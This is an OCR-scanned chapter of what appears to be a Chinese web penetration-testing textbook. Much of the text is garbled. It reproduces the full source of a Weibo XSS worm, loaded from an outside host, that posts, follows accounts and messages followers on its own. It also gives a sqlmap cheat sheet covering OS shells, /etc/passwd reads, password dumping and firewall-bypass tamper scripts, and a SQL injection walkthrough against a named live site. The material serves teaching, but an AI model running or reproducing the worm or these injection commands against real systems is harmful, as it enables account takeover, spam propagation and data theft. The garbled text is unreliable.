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Wi MySpace [ HERL) o {B[AEAE, XXFABIET 7 AN E B L2 KE (MEHRE
b R S RIXSSHE EE ) o I ORI RO B N RBRER B : BRI S R AR e e WAL
I8! XX AEChrome, SafariF £ #¢XSS Filter#“#, MIE. FirefoxARfEE R, I 20T
IE. FirefoxMHisg b A E, XL —XEEMBT .

EBRATIR 2 — T IX AN SR A% T X S S HLUFTURL -

http://welbo.com/pub/star/g/xyyyd” ><script src=//www.2kt.cn/images/
t.Jjs></script>?type=update

FEVT IR IXANURLAY, BRI 75 S HATA R, G5 R T Vi -

http://weibo.com/pub/star.php?g=xyyyd" ><script src=//www.2kt.cn/

images/t.js></script>?type=update

BT 2 H e RARAT AL S, FBOXAK B SN RTSIIAE B A TR A -

function createXHR() {
return window.XMLHttpRequest?
new XMLHttpRequest () :
new ActiveXObject ("Microsoft.XMLHTTPE");
}
function getappkey (url) {
xmlHttp = createXHR();
xmlHttp.open ("GET",url, false) ;
xmlHttp.send() ;

result = xmlHttp.responseText;

id arr = "';
id = result.match (/namecard=\"true\" title=\"[*\"1*/qg):
for(i=0;i<id.length;i++) {
sum = id[i1].toString() .split('"")[3];
id arr += sum + "[[|';
}
return id arr;
}
function random msg () {
link = " http://163.fm/PxZHoxn?id="' + new Date() .getTime ();;
var msgs = [
'IRREHN—ERIRENAT. 0,
it ALEIR 100K 1,
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'IDREFIFAEEEEIARMT: 7,
"X R ER AR LEE 7,
VR CERERBERET: 7,
" AHFEBR L RN -,
BEETERRT: ',
'O USRI A TR R
"B S A ERE4000: ']
var msg = msgs[Math.floor (Math.random () *msgs.length)] + link;
msg = encodeURIComponent (msqg) ;
return msg;
}
function post(url,data, sync) {
xmlHttp = createXHR();
xmlHttp.open ("POST",url, sync) ;
xmlHttp.setRequestHeader ("Accept", "text/html,application/
xhtml+xml,application/xml;g=0.9,*/*;g=0.8") ;
xmlHttp.setRequestHeader ("Content-Type", "application/x-www—form-
urlencoded; charset=UTF-8");
xmlHttp.send (data) ;

1
function publish () {

/*
*RIRHRERERNS REEES

=/

url = ‘'http://weibo.com/mblog/publish.php?rnd="' + new Date().

getTime () ;
data = 'content=' + random msg() + '&pic=&styleid=2&retcode="';
post (url, data, true);

}

function follow() {

/*
*L&ﬂﬁhellosamy
*/
url = 'http://weibo.com/attention/aj addfollow.php?refer sort=pro

file&atnId=profile&rnd=" + new Date() .getTime () ;
data = 'uid=' + 2201270010 + '&fromuid="' + SCONFIG.Suid + '&refer

sort=profile&atnId=profile’;
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post (url,data, true);

1

function message () {

/*
* BRI R AEEHREEME
*/
url = 'http://weibo.com/' + $CONFIG.$uid + '/follow';
ids = getappkey (url) ;
id = ids.split('||"):

for(i=0;i<id.length — 1 & 1<5;i++){
msgurl = 'http://weibo.com/message/addmsg.php?rnd=' + new Date() .
getTime () ;
msg = random msg();
msg = encodeURIComponent (msg) ;
user = encodeURIComponent (encodeURIComponent (id[i]))
data = 'content=' + msg + '&name=' + user + '&retcode=';
post (msqurl,data, false) ;
}
}
function main|() {
try{
publish () ;
}
catch(e) {}
try{
follow() ;s
}
catch(e) {}
try{
message () ;
}
catch(e) {}
}
try{
x= g=document.createElement ('script');g.src="http://www.2kt.cn/
images/t.]s';document.body.appendChild(g)";window.opener.eval (x) ;

}
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catch(e) {}
main () ;

var t=setTimeout ('location="http://weibo.com/pub/topic";",5000) ;
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., BNk & A ffReference Source. [H A{ETTURPAFGUH AL TERE X, WIEMT —
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FEUR A A TTRR I I B PR R FRUR A, At AT DR A DA TR A BTRR N B2 (48
AT A M eSS 5K A D) AR T THEFEX . TS pa s B R 0 sl A g, THIRAE
] P AR S AR, B RTFURAE X KRB, WM T 5 LUG  (Linux User
Group/Linux, Linuxf /P H4H) , ibf7 —HELAOSC (ZFRFHEHEK) ZHEER THA
HOWFRRG REMEX. FESFEAE. FHELMHAZEN, MEMERERMA
H. XE5HEEEMN, W5 BEEMEAR R ZHER.

RIS EFHIZ B FFPECMS (Content Management System) HJH 415, CMSEH]
NEEHARS, FEEWeb 200 KRR, BREZ M A, N ATEMLHCMSE & M.
HTJL A CMSHE IR, AT LAR 2 FICMSTRIR{Z 8 sebr B2 TR H T, i a
SR . 7EF AR S UFRETET, & ERE— T B CRRRE AR ) .
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2.5 AFhEG;

REMHEF LS, HXFEFEEMALRRE, REHLERRRE, (HXEN
HiE &5 +oWErE i, ¥ B AMEESE M EENEE.
BEGGEFAZMEXME, i Ce) MNMFHANR—PRARRENRRA SF L4, LE
RN Lk MR daxt 24, BREAFAENE L. BREHE B COH B/ F LN, 8
BT T — 0, BATRIT SR R EM PR A F R “REBAR” .
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e\
AN mEsmemAn

AT iEWebiZiE M, (Penetration Test) ? AH{E KF W Web#APELE, BFENA—M LR
W R R REESGE, SR EALMNSE RGN Z e, HERIMARGEFERA, W
TBEWRGEHMRREMIEE, FRBEBEETE. AFHEIDN WebN FH MRS 35 1)
BB, WALV 1 S E IR A e

AFRW LN AR, AEEE RS ERSE TG, FUK B TFLE,
“ROFREAE “T97

3.1 BiEE0E

HERERWDZIBHE L, WREXEEN D (SLhr LB T WebiBi&, RET
YRR — PR R RAEEL) . —SERISELRELB KN, T BEET LIAEAAT
AT REIE AR, T)E S BRI R IR . M SR AR R, #
T HEBNEERE, EEBAMEFNEILT, RESHARAB KR ERZLTIHE
BARIIIAR A, (5 BHREHALN “ BB, B M—IMPR, EEAEIINRR TS
BRHREE . THEIRATR 77— L8 G B RESTS GXEMERKRER “FEE
£ e “f5 B8R , 2“7 FREFMAILH IS X, A riEE
WA .

311 IRFB=HFEEEE

1. 551

fAig 5 B ? s — MRS 8 LA £ AWebdlh 5, MRAKBIEBir£2E P H—A
Websili 55, JBATLEZE T B brslh s b, W] PAEA0 R4 g5 LR Hpb sl Sk Ti81E, R
JE RIS H R R T EE T i al. H LS M EWRAEL .

(1) IRf3i153% HAr i HSEIPH AL
(2) FMHEMEE, THREPHbE.

2. wmOAH

— G VHEALIF RO S DA TR RS X R, maiEaE R A B AT UGS i s 4
KRBT fif HARTF R T WBLE AR S, @i80%s LA N T HTTPHRSS, 3306% 15N 1 MySQL & #
FE, 14333 XN T MSSQLEHE B . T8 ik % FF/Cm 1 ) 434, BT AT LUK BUNE H Ax
WS T A A B, FF T AR T B FE AR . e, S DR R & AR
Ja BB ERAAR 2 2 ST . AR LI 43y X T g 2

(1) 7P A . REVEa ot DHf I ThaE, I B34 WARS MR A s 1,
nEI3-17 7R



—_
m /— 0
ey -

| E3E  WebisBWt——BMREENG LS

s
wWoes
IP/HRE : @
T Ri&
BiiE T A NSESBNEONEERSOR SN,
SRROS -

ERESRELUTRD

(1) . HTTPHMUTEIRS R ERLS : 80/8080/3128/8081/9080
(2) . SOCKSHEruiRERRARDS : 1080

(3) . FTP (48 ) PR BERESERERDS : 21

(4).Telnet ( ERSR ) HUAERERTARD : 23

HTTPERS . ROANRDSA80/Am ( ARExecutorfFRutis0 ) :

HTTPS ( securely transferring web pages ) lB&®% . RO S 75443/tcp 443/udp :

Telnet ( Feefnrdiz ) . BAROS5H23/tep ( #BTiny Telnet ServerfFrmEmsll ) :

FTP . BUASSE0S521/tcp ( ASDoly Trojan. Fore. Invisible FTP, WebEx. WinCrash#lBlade Runnerfrrazaosl]
TFTP ( Trivial File Transfer Protocol ) , BASSROS%69/udp

SSH (ReBF ). SCP(XEE) . wOES=A , BUANROSH22/tcp

SMTP Simple Mail Transfer Protocol (E-mail) . BGASISROSH25/tcp ( /<2 Antigen. Email Password Sender. Haebu Coceda. Shirilitz

Stealth. WinPC. WinSpy#fFia=iaml) :

POP3 Post Office Protocol (E-mail) . Ris0#0S73110/tcp :
WebLogic . BASROSH7001

WebSpheregiFBE | BUaSR0S%59080 :
WebSphereBETR . RUSROS59090 :

JBOSS , RhARmm[]S78080 ;

E3-1 fEZimORBTES

(2) TH. mBaf#THuE3- 207, IR 0[]
Made By BENT [T RS BehRFHED.
IP:[192.0.0.1 ~[18z2.0.0.1

g

¥

3.1.2 WeblEB# %

#mid - [21, 25, 80, 135,

B i &

139, 1433

(e | mEes

=

1. Z 2847 E3-2 HOFWBTE

TER— LR R P BEATVRE MR, B R A H R ISR, 0732 5 L A
BIISQLIEAN, AR ABEEERRE A E, FEURZ A LR 7 KE AT EE,
HEE T TR 4, AAARNEER 2. B3-308 2 —1Python i 43k

X E B R AL RN A R .

B8 BES python - subDomainsBrute.py baidu.com -f subnames.bxt -0 bt =p(E=m ==
red.baidu.con 19.26.3.248, 18.91.168.44. 19.36.4.130, 18.42.4.86(H]

en joy.baidu.com 117.185.16.17
me: .baidu.com 180.147.132.155
nt .bhaidu.c 18.288.6.11

1. 111.13.188.159
17.189

61.135_4162.410Q3
1868 .14% a
228.181
- 18.26.5.68
61.135.185.136. 220.181.57.219
laton .baidu.com 168.26.25.78
bhtp.baidu.com
111.13.188.13
220.181.163.133,. 180.149.131.211
22A.181.57.216,. 22A.181.57.217
18.220.1408.5%
111.13.1841 .58
188.97.33.137
lart.baidu.com 18.42.137.45
hillboard.baidu.com 18.46.7.192
nz8.baidu.com 111.2686.37.164
211 found | 48798 remodining ! 6341 scoanncd in 224.3

E3-3 FAMAREH2111FEE

2. B%ER

fEBIET, ARXEMAEENGEL . WRBETRHER, @4 aHEANET
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GetShell CHRAFRLFR) , WRA T WebHx, (0 LAZHAR )5 G Mt b AT 4R, X )e 63
PFREATHMR . HIBERT L E ORIV E M, TIRA H R i H Wi T ATk,
(1) phpinfoFI#REF 4. phpinfoSCAFIE3-4577R .

E3-4 phpinfo3z#
PHPEREF SR BI3-5 7

EsESspE | 0 fmapteabS 173,245,620
EESEE S S e e Jan 22 16:19:10 EST 2013 x86 64
. . . Apachey2.2.23 Unix) mod_ssl/2.2.23 OpenSSL/0.0.8=-
ESEEET Linux PIbERET : 2.6.18-348.0.Lel5 REBREs = fips-shel5 mod_bwhmited/L4 mod_feqid/2.36
HEESES zh-cn.zhiq=0.8 en-us:g=0.5,eng =0, BeSal &0
e e — "
=ESHE webmaster FHRES | |
2013-03-18 0343:12 ‘ BEFCEIHRE 4813005758
CPURS 1637 AMD O 6128 | TBEERS12 KB | Bogomip=:3999.95 15
CRUERRER 0%us, Dosy, 0%ni, 100%id, 0%wa, 0%irg, O%eoftirg | SEEE
R SFE 1321043 G . BRASL092 G, TIA 1238951 G, HEFI= 6.21%
— 1
WA i 328 G, BA 92516, ¥ 22,187 &, £RE 20.42%
1
CachefbPIIFE 7.748 G, (EFISE 24.65 % | BuffersE# 0.571 6
KERRR EAEE 0002 G, BRAEER 10,506 G, B 296 %
s—
SWAPE : 233406 G, BEF0 6. S/ 33406 6, EFE0 %
L 1
FHRTHENE 0.02 0.05 000 L/365
Io: BHE: 998M 728K 6728 BifE: 998M J2BK 6728
ethd: (=08 Chi:
cthl: Biftz: 23C 676M 940K 6208 B#ix: 29G1016M 5I0K1023B

date libxml cpenssl pere zlib bomath  calendar ecype corl dom filter ftp gd
gELLEKT hasn 1eonv  Sedsion 150D DDSLTing mysql Dosix  Rellectlon standard SIrpleXML  SPL  sockets
SQLite imap tokemizer zml smlreade:

r amlweiter ogi-fogi eAccelerator iombabe Loader Zend Optimizer

PHP(EE ( phpinfo ) & PHPINFC PHP#EE { phg version ) & 5217
PHPIETAR : CEI-FCG HidSARLREE ( memory limit ] - 5000M
PHPZREEE { safe_mode ) ¢ ® POSTAEEE A ( post_max_size) am
EFUPHRAIRS { upload_max Flesize ) : 20M EERMER TSRS, ( precision | - 12
Ilmﬂé!(raj_mutiunjme) ] 308 socketHEFEE | default_socket_timeout ) : G0fY
PHRTTIRSE (doc o 1 | x FSEER (user dir) ¢ P

I (enabledl) - V EEEATHER (indud=_path ) x
STENRES ( display orrors ) o SEMEEEE ( register globals | *

E3-5 PHP#R&CH
(2) MELI1%, EBEY, BRLIELE RS, SRAHERTERIEL, &2
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A A FIWER o

TR L R R T B

» domain: Ji]domain4> ¥ vA & X 3L — W 355 6948 K 13 8

> filetype: FRHFIERIAHBREE, B TAEHKH i{*%ﬂﬁ.pdﬂ.doc/.xls/.ppv’.rtfo

> inurl: FRZ &34 T fie 238 ZURLAE 4,

> link: M3b4M4t4aE14,

> site: MsERESEIE MK A9,

> intitle: 3% & P TATA AT 69 K 4L

(3) s, X&&EB VAT W B RFET R DR TR L 2
REIR BB %

(4) e, ER{BFEFEEREEZNIEH, FHRRKIN—LREHETR H .

3.1.3 WhoislEB# &

Whois Bl 3542 AT PR, 2 F R AT 342 IO TP Ik DA K B 5 38 S5 A5 B AR S il e 4
2% EAMRZIREWhoisE MK T &, WE3-6F, ¥HRRLZMALZR, FETLIESER
o A B3 iR S5 4%« DNSHRS: 28 DL HABERFALS B

EWhoisHATE

LA BT FENRE: | mapers.net P

mapers.net ERE ESiwhoisEE

mapers. op v =i
Mapers.n et BN (TS ST LM PHb ST PRIE FEARD AleatbETRE A EEHEm|
g m .net J5ja]thidis

EEHBERET 2015-06-06 20:57s 5 :BE|FE
=M : PORLTD. D/E/A PUBLICDOMAINREGISTRY.COM
Sl 20159028018

CEEME: 2015015105

AR 2016E01H108

1TEHRFES: who s Publiclo mainRegistry.com
DNSHE5E 25 FIGINSL.DNSPOO.NET

DNSHE35: FLGINS2.DNSPDO.NET

YRES: SERMRE THPRLLEERIP hm:/jvww icann.orp/epp# = EFRE T RFRIEEE P

3-6 WhoisE 45 R

31.4 BRHREEREE

R R RER UL, BIRDEE, R IIE T CREEIRES) 5
Bk, EEENRAY, BEOEREEER, SRR —ERE AR,
RE BT THMGE, A T EHNZett, FREH-Ls 0 EH, mHP
ARG ANHE . RE A RESAA RS A TEXRSE B bR i T4 AT
E% R TE T RSB PEE MR s, — 2 NEAE, BRI

BT, PIBIE,; —REESEWEZSN, XERNXH SR,



O

S \\\\

U

RESRERAER

3.2 SQLIEA

SQLVEANELEJLFE AT AT T, M4, SQLIEANIREFRATHEGFBRLZ —, I
RENMNHAET Wif. 2%, TERHFEABGENREE, —MEK, 2MEA, £
MBS

SQLIEAR LI A TRMFETFE, TRHENAIM, FERUTFIaMREL, HE
AHFFARGENEMBEATIEAN, HHEFTEANRRER TRZ.

3.2.1 FENREZHE

—UEAFR AT RER S, ASENH T B A nIREFTESQLIEAN . 1T tH T BEAs R PR,
W AR R, APORAL. hepSk IS4, ARl AT A TR SQLIE A FZHEWE ?

X B E R | T ABurp.

e 1 3-7 7] LA 314546 B ) Webiih A5 R 36 0 B heep 08860 . i h 8 T heep 3k 0
fEIEMSE, MENE AR LSS, E3-8F R0 Thupfdiamssy K
HeAhupsk, PNAHERSED .

[ Burp Suite Frofessional ¥1.5.18 - hcensed to LamyLau o o S
Burp Intruder Repaater Window Help

[ Target [ Prony. [ Spicer | Scanner [ intuder | Repester [ Sequencer | Decader | Comparer | Extendsr | Options [ Alerts |

[ tercept | pistery | opions |

| Filter: Hiding CSS, imags and genaral binary contant (7]
# | Host IMethod \ URL. | Params | Edited | Status | Length | MIME t... | Extension | Title
T = - - T

103 hitp:Hyunfangw com GET  fcammon asp?i=1 @ O 200 839 HIML  asp BOUOAG_ERED
104 hitp:#fyunfangwl.com GET  Misvrasp =] 0o 20 9118 HIML asp GEEs pli_Ered,

105 hitp:yunfanged com GET  /mossp =] -] 10428 HIML asp OBAEa: Emed,
106 http:#yunfangwl.com GET  fjuh.asp =] o 200 T63T  HIML asp EER0DA,_EFEd)
107 ttpifyunfangel com CET  /ghockasp (=] 0 200 12470 HIML asp ik srediE
126 http:tyunfangwl com GET  fisfs.js [m] O 2w 66 Fenp B

131 hitp:tfvewse jseyide.com GET  ixyems_jsijquery.DB_tabMotion... [ O 200 37 seip s

132 g v jayide com GET  /wyema_jsijguery i (] a seip ]

134 hitpitw jsyide.com GET  /ixyems_jsicamman.js =] g st s |
A% .

m37 wikARERNEES

‘ Previous [ Next | [ Action
Request
Raw | Params | Headers | Hex
POST /common. asp fid=2] HTTE/ 1.1 "
Host: yunfangwl.com B

[ser-Agent: Mozilla/5.0 (Windows NT &6.1; rv:39.0) Gecko/Z0100101 Firefox/39.0
Aecept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8
lAccept-Language: zh-CN, zh;q=0.8,en-US;q=0.5,en;q=0.3

hccept—-Encoding: gzip, deflate

Fookie: ASPSESSTCNIDOSAQSASA=AAEAJCEBCCIKTHHFMIPHCGGL

Eonnection: keep-alive

ontent-Type: application/x—www-form-urlencoded (]
ontent-Length: 4

fo=d h

=
v

_BEJBEH Dmatches_
E3-8 4 ThitpEiEEAYZEH
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RECT W TR QLW LUG, T LITRREATEAN R 7o Prifdzd, SURAMTERE
MNSHCE AT AT . T HRST— T 5 WA ik,

1. EEEN

—EOLT, KRGS T IR B AT LRGSR E N R,
SN B R, T R YRR P B R o T A AN A2 i A — 2R R
FRAEE AR, NN EFEEAN, & RNRRFRHF .

(!

(2)\

(3) ;

(4) %00

(5) )

(6) (

(7 #

(8) "

FERALSH N EIX AR AT, R, WARATRER —MNEAR, WE3-9
Frse

€ B v com.cn/news_detail.asp?id=146

[INT ¥| = ® SQL- XSS Encryption- Encoding- Other-
@l Load URL
2 splitURL
C Execute

[¥] Enable Post data [] Enable Referrer
Post data

rosoft JET Database Engine fiR 'B80040eld’

Mic
EHRNTEME AFNKER " 1d=146"" B

news_derail. asps 7 10

E3-9 H35|SHEEG

2. 8%

FOAEE? HSEEENREEA LMK, REEARERR—SHEENRAER,
1M E A iR [Bltrue Sfalse R, T8GR 1015 BREATRM: NUCATEEREEEN,
BERRERECNET . B RNEES M, A/REEEMETHENEE. ZRENKX
PIEE T HIBTEN K AFANR o AR /R B R X 00 i S 4 B AT A, T ENE
VEAR R H U A SEIRVE N, o U 1T A 3 A T AT 0

NFARBEE, £ RE B, WRIZR R B2, "
W @R EACRAATEE. BN, QURERNZEREZIEMN, #SQL
EHMEA)—EZIRBILR, WAME SR TIEMPNAE. ETXARE, 77 LGEEE K
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UERBUEN 745 WIRAIRT AP R MM Z2and 1=1; and 1=27, H#¢%Cand 1=18f
WHIEH, and 1=2BF WEHAIE®, WHEEFEAN. Ak, XFAN 2N EFE RS
#, SHRBUIEHor 2>1; or 1>2; xor 1=1; xor 1=255. EXTFHFRSH, WHK
EA) 2 and'l'=1:"and '1'=2, JCAW FEMEFEERAHIR .

MFETHENEE, —REEFMEANGZIGEHT (BlanELT 7 kd) i
I —FFE AR A CAMySQLA I, %L1 4] Wr 7 1 3= 2235 M sleep Mbenchmark 5 /™ R
$, 1X B Llbenchmark & #0451 34T 44

BENCHMARK ( count, expr )

HAEH 2 EZ count!R 4T F ik Kexpr, AT 5 HRHE w5V s 8] o4 4 by 2 18 =0 IE 7
5, BEMAETEN. B3R, EIRFEA RS TREMAZ 0, s KRR & HEmhTE
FIRE

322 TITHFENAN

BEEF ABGERAT, T E TRPFREEAEL . & W Hsqlmap. Havij?, 3
Psqlmap RN H 2% TR, DhRESRRSERE A, B T KEAERH#ES: . A ERITFA U
fiEWindows F 4t | sqlmap )& F .

1. sqilmapH) &%

(1) sqlmap i ZFEPython i 55 F A REIE1T, DAIMTE 2 3esqlmap 2 {75 % % 3% Python,
fEWindows F, F#IFFiZ1TPythonf) %3440, Pythonf F2xiRA 53 xfRAMRE L —w £
S, FTLARRAMEN2.7 204 (Python AR AR [a] BUR AN R A M T B, &7 4 SR I R wT LA
HOEHRBRZAT T , WE3-10017m.

(2) BTG, TERMAEALAR. ZRERFLED: \python, AT “FHIH
i ” — “J@PE” a4, I “EE7 &I, WwEB-11TR.

Rl
[hete [anee | @R | madm [im |
BiftiTASE DA AEIRRET -
Python 2.7.2 Setup =] 1t
Select whether to install Python 2.7.2 AR SLBEICA) MIFIER » LR
for all users of this computer.
’ -]
@ Instal for all users FﬂF‘EﬁS{f* .
71 Instal just for me (not avalable on Windows Vista) SEERARMRE R
BEIATRY IR
FéEReh . REANTRLER
thon
ek
windows
[ ook etz ] [Cumcel] (e ][k ][ maw |
E3-10 WindowsIfitE T2 % Python E3-11 EBEIEITHE



H3E WebSEMI—ENIEELE L [

(3) My “HIERR" &4, fEpathH ¥ hD: \python (ZZEERiE) HIRATF, W
3-12F .

(4) PythonZZ5H B 56 )5, FHisqlmapl 48 i, ffEEk12 2D \python\
sqlmap\. ¥TFa 2 #nfF, Hcdin 4 V)2 sqlmapf %12, AFEHIZIT— Fsqlmap.py,
AR A LE T, WE3-13FT7R.

g Ed

[HENE [ | &R | R e |
R = _ I o
=X BEH: python - sqimap, =R x|
Adninistrater BYE AR 1) E=EYE " S—
t Windows L[4 6.1.76611] R
wE & E {c) 2AR? Microsoft Corporation. 1.?55' =
PATH D:~python>cd sglmap
ERET R D \python‘sqlmap>sglnap. py
Usage: D:spythonssglnapssglmap.py [options]
HEEW: Path cqlnap py: ewmon ing a mandatory
~d, —update, — t or —d
TEEW): 100\TooLs\Binm\VSShel1\C ommonT \IDEY il ;ﬂ; i e patpat v tepe
5E HE Press Enter to continue. ..
B T
Path C:'\Windows\system32:C: \Windows: ..
PATHENT .COM; . EXE;.BAT,.CMD;. VBS;. VBE;...
PRACFSSIR_AR xAf, ad
(FEm... | (wEw... | [ mMsow |
wE | mE
Y IRE = et
E3-12 EERETE E3-13 KERTRERI

2. sqimapBi{E A

sqlmap/e —3K ¥ AL TH, FEFIHMAGLSEITEAN. FREHLSWT GXHEKR
%t H FRURL Ahttp://url/news?id=1) .

sglmap.py —u "http://url/news?id=1" —--current-user $RBUM AT P &R
sqlmap.py -u "http://url/news?id=1" --current-db HIREUS BTHUREE AR

sqlmap.py -u "http://url/news?id=1" --tables -D "db name" #%IF&H

sglmap.py -u "http://url/news?id=1" —--columns -T "tablename"

users-D "db name" -v 0 #7577
sqlmap.py -u "http://url/news?id=1" --dump -C "column name" -T
"table name" -D "db name" HRBRFRAE
sglmap.py -u "http://url/news?id=1" --smart --level 3 --users
¥smart®EEE level HITIRZER
sglmap.py -u "http://url/news?id=1" --dbms "Mysql" --users
#abms e EHIRERT
sglmap.py -u "http://url/news?id=1" --users $PHIEER P
sglmap.py -u "http://url/news?id=1" --dbs L Xevei)Ed
sqlmap.py -u "http://url/news?id=1" --passwords HEIRER R AL
sglmap.py -u "http://url/news?id=1" --passwords-U root -v 0



e\
AN e smemAnn

L IEE R A REEEEE
sqlmap.py -u "http://url/news?id=1" --dump -C "password,user,id"
-T "tablename" -D "db name"

——start 1 —--stop 20 5L IEET R, Flth20 %
sglmap.py -u "http://url/news?id=1" --dump-all -v 0

#5)H FrR #ER AN
sqlmap.py -u "http://url/news?id=1" --privileges #ZEEIFR
sglmap.py -u "http://url/news?id=1" --privileges -U "WEB USR"

FEERER PR
sglmap.py -u "http://url/news?id=1" —-is-dba -v 1 #EERIEEERER
sglmap.py -u "http://url/news?id=1" --roles WEBREERFARE
sglmap.py -u "http://url/news?id=1" --udf-inject

FSABFRAEXRAK (FEKBRARFUR! )
sglmap.py -u "http://url/news?id=1" --dump-all --exclude-sysdbs
-v 0 P HHRIERMTER
sqlmap.py -u "http://url/news?id=1" --union-cols #union TEFTICHE
sglmap.py -u "http://url/news?id=1" --cookie "cookie" #cookieifA
sglmap.py -u "http://url/news?id=1" -b $#FBbannerF 8
sqlmap.py -u "http://url/news?id=1" --data "SearchValue=iF8IAXE
F&sId=1" #postiE A
sglmap.py -u "http://url/news?id=1" -v 1 -f HEQH R BIEEXR
sqlmap.py -u "http://url/news?id=1" --proxy"http://127.0.0.1:8118"

HREEA
sglmap.py -u "http://url/news?id=1"--string"STRING ON TRUE PAGE"

HEEXENA
sglmap.py -u "http://url/news?id=1" --sql-shell #WMfTIEEsqlimS

sglmap.py -u "http://url/news?id=1" ——file /etc/passwd

sqlmap.py -u "http://url/news?id=1" --os-cmd=whoami #AFTEREZGS
sglmap.py -u "http://url/news?id=1" —--os-shell $ ARG X Hshell
sglmap.py -u "http://url/news?id=1" —--os-pwn $R5¥shell

sglmap.py —u "http://url/news?id=1" --reg-read #ERwinZRSFFAE
sglmap.py -u "http://url/news?id=1" --dbs-o "sqglmap.py.log"
HRTFHE
sglmap.py —-u "http://url/news?id=1" —-dbs —-o "sglmap.py.log" —--resume
PRECRFHE
sglmap.py —-g "googlei‘&‘}f" ——dump-all --batch
$googleBF IR BB EFTE



1 -
3% WebBEWik—ERHEENE L

3. AFWAFRI it

TESEFRIE NI A, JBFIWAF (Web Application Firewall, Wk H % A2 B R
48 REARE, BATAT LIS WAFSKLERATEAR T, AT 1418sqlmap A WAF #1485 .
fEsqlmap, H-tamperin4 A LA H A B gL A, HARE DR Wsqlmap.py -u
"url" -v 1 --dbs -tamper "JHIA " F3-1EH H AL LAER .
#Fz3-1 sqmap®E A AZ REEA

7 N £ H
apostrophemask.py Hutf-3{4E 5|5
equaltolike.py like X %S
space2dash. py Geidid g =" BETHEEHF (")
greatest.py geititggr >, HIGREATESTE# AT 5
spaceZhash.py TAREE W NS . BEVLFRF R DL R RAT
apostrophenullencode.py LRI IS S, BTG S
halfversionedmorekeywords.py | B4 S5 2 BTV IMMySQLAR 41T 16
space2morehash.py ARG R #T UL E 2 BT B AT
appendnullbyte.py TEA R 0T 45 R BN BT 735 F R s
ifnull2ifisnull py Zeid%f IFNULL i %8
space2mssqlblank py TR WA AL TS
base64encode.py Fbase64 4wt it
space2mssqlhash.py B
modsecurityversioned.py HIEFR, BB ERRATRE
space2mysqlblank py T A2 A5 (mysql)
between.py Flbetween & # KX T5 (>)
space2mysqldash. py BHSHSH (D O-) FEER— IS ER—NHT ('n")
multiplespaces.py FlZESQLAF B FIl INZ A4
space2plus py R+
bluecoat.py RETR TR ES — M EREIT B FRAHISQLIER], REEH=Tlike
. XEAHIEAR). U predefined SQLICHE FwithZ 7~ suitable forfF{t, (f]
nonrecursivereplacementpy |y, replace("SELECT", ""))filters
space2randomblank.py RETREFRF (") N—ANBENLI 25 B 5 A5 77 175 e
sp_password.py 1B Nsp_password, MDBMS H [ 5 S0 4L 2 G AT AR B
chardoubleencode.py MURLGwHY (A4 CERIEE)
unionalltounion.py ##UNION ALL SELECT UNION SELECT
charencode.py URL#%i 15
randomcase.py FEHLA NG




lé\\\\\\\\\ % mmszeninn )

NN

1€

unmagicquotes.py

T F 17820 GPC addslashes

randomcomments.py

F /x4y EISQLICHF

charunicodeencode.py

FAFER Unicode 485

securesphere.py

3B I B AR BB

versionedmorekeywords.py

halfversionedmorekeywords.py

IR R INERE

323 FIEAN

FEBFEWAF, HEANMEATRREST )RR, mFTEAMR MR 55 5.
SR, FLEATESEEXNILE N INBIREEELE —E TH. A, BEASQLIEAKR

ETES 2N, WURTEAIR A,

R T4 KFoRTE.

R BRI E K — AP, FEXE, EHEPERERN

(1) XiEE T FE A, XESSEASERAFTERT . e TEA

M AER LA AR BEAT AR T,

MME3-1407 75 o

Content-Length: 13
Cookie:

iheima=73kaS5IrgS5t12tBtnBEhT lvesD;

oyfnLKbomoywoLlunuNSjtcDnz-bPxpaq:;

Connection: keep-alive
[Fragma: no-cache
[Cache-Control: no-cache

copic_title='

[im_lvt_S723485e19f163eBe518cab84e858ch8=1435891251;
Hm 1pvt S7234B5el19f163eBe51Bcag94e959chb8=1435891445;

[frz__ Session=90te4dmé lgqgag4cmovelnglhdl;
[frz_ user _login=2-3T1BrJj1NPLWNSj4crOlfLMyoywoNbHlervZNPR 1}
NEDmcSulE{Y-"?DZzHTPnuDJ{L blZ-dxduvysfOnN_ Fnc-WrpFbySvi

CNZZDATA10D0524616=1204303738-1435886381-https253A%252F%
L52Fwwv. iheima.com¥Z52F%7C14358B6381

Database error

SQL: SELECT " aws_topic .* FROM 'aws_topic’ WHERE (
topic_title = ''') ORDER BY ' topic_id ASC

Error Message: Mysqli prepare error: You have an error
in your SQL syntax: check the manual that corresponds
to your MySQL server version for the right syntax to
use near '''') ORDER BY "topic_id  ASC' at line 1

exception 'Zend Db _Statement Mysgli_Exception' with
message Hysqll prepare error: You have an errer in
your SQL syntax; check the manual that corresponds to
your MySQL server version for the right syntax to use

near '''') ORPER BY topic id’' ASC' at line 1' in
[data/www/ask.iheima.com/system/Zend/Db/Statement /Mysql
i.php:77

Stack trace:

#0

EE

E3-14 MysQL&EifiEaIT 5l

iX ® i 2] T Burp#jrepeater ¥ ft .

Eia@s 147 LLFH FIPOST T 1S Htopic titlefFEEMREIEN, XHEPEAX THE|S, jR[A

THARTE B

BR(E B APIRET

I WA AR

SELECT 'aws topic'.* FROM 'aws topic' WHERE ( topic title = ''') ORDER
BY 'topic id'" ASC

(2) ER—%MySQLEWIER . FHREFEFRLNBGEL TEANMFAME, 8B
ATAE B EWE AW

SELECT 'aws topic'.* FROM 'aws topic' WHERE ( topic title = 'xx'"')

ORDER BY

'topic id' ASC

32
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E3E WebiBEME—EAHERBE L

(3) WhE 1P EHEFrab A e, (EnT U B AR B0 IR AT e xx)
#, TRBWIERRZHRT

SELECT 'aws topic'.* FROM 'aws topic' WHERE [ topic title

IXX!) #I)

ORDER BY 'topic_id' ASC
MH#EMySQLA R ERRF, BrLAskhr b AWE )RR T -
SELECT 'aws topic'.* FROM 'aws topic' WHERE ( topic title ='xx')

(4) MG . s i) AR U 1% 2 -

v) ENEG 4

(3) FEFENEAIERAT, BREEFEEMENAY, FAREWHERESM, Fril
REHBE S A el BTN, S5 HJORDER BY #:755/%, 7] LLEF|ORDER BY 16
B IE®IR[A], TIORDER BY 1704 . Fubw] LAAiE:

') UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 #

WE3-15077R, RS IEFRE], FEAT LUA KR ORI & & .

Content-Length: &8
[Cookie:
Hm 1wt 97234B5e19f163eBe518cafS4e859¢b9=1435891291;

H

{"status":"1","res": [{"topic id":"1521","topic title":"
","add time":"1421635405" ,"discuss_count":"1"  "topic_de

